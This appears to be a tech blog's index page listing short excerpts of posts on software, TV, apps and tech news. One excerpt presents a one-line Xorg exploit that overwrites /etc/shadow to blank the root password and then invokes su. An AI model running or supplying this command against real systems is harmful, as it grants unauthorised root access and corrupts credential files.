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For the last one month, Open Live Writer has had issues posting posts with images to blogger. Posts with only texts are fine, but any images...

  The ‘Doom’ in the title refers to the original computer video game released by the folks at iD software. 25 years ago, on December 10th,...

  These old school Unix exploits still work !!     cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su

  The HBO show Westworld is now running it’s second season on TV. Its got critics and fans hooked, as well as I think the makers of every ...

  For a long time now, I have hated GMail’s icons on the main toolbar. Specially on the app. It doesn’t make sense, and they are confusing...

  Nowadays there is a crazy amount of non-sensical news out there, that sometimes the really awesome stuff gets skipped over.  Somebody mig...

  I am talking of video content here. Movies,comedies, thrillers, even documentaries and mini-series. While the quality of television progr...

Read a nice article on why Agile does not always work.

  Today I came across a little older article , documenting the demise of Winamp . Remember Winamp ? Awww..man. During the last decade , it ...

  Read an impressive post on Mozilla’s Open policy  blog about why India’s Aadhaar is a step backward in citizen rights. The central probl...

  “It’ll be a cold day in hell before I let twins fly long-haul over-water routes.” Those were the words of Lynn Helms—administrator of the...

  I just figured out I had a lot of redundant apps on my phone, and I could take them all off, and still carry on. There are a lot of apps ...

  Came across these today. Worth a second thought.

  U.S. Citizenship and Immigration Services quietly over the weekend released new guidance that computer programmers are no longer presume...

  It was nice reading two different articles, about two topics, where the author had a viewpoint similiar to mine. One was about the javasc...

  The problem is cost Looks like latest technology  startups are interested in are online money-wallets. You know, the system which allows...

  In case you didn’t know, the Ola drivers are going on strike. Again. All over the country. And I guess rest of the world too, for Uber. W...

  Samsung’s PR disaster after recalling and replacing their Galaxy Note 7’s is all over the news . The blocking of the phone by the company...

  I miss Google Reader . It used to be the first place I used to go to, once I completed my day’s work. Now I have switched to some other s...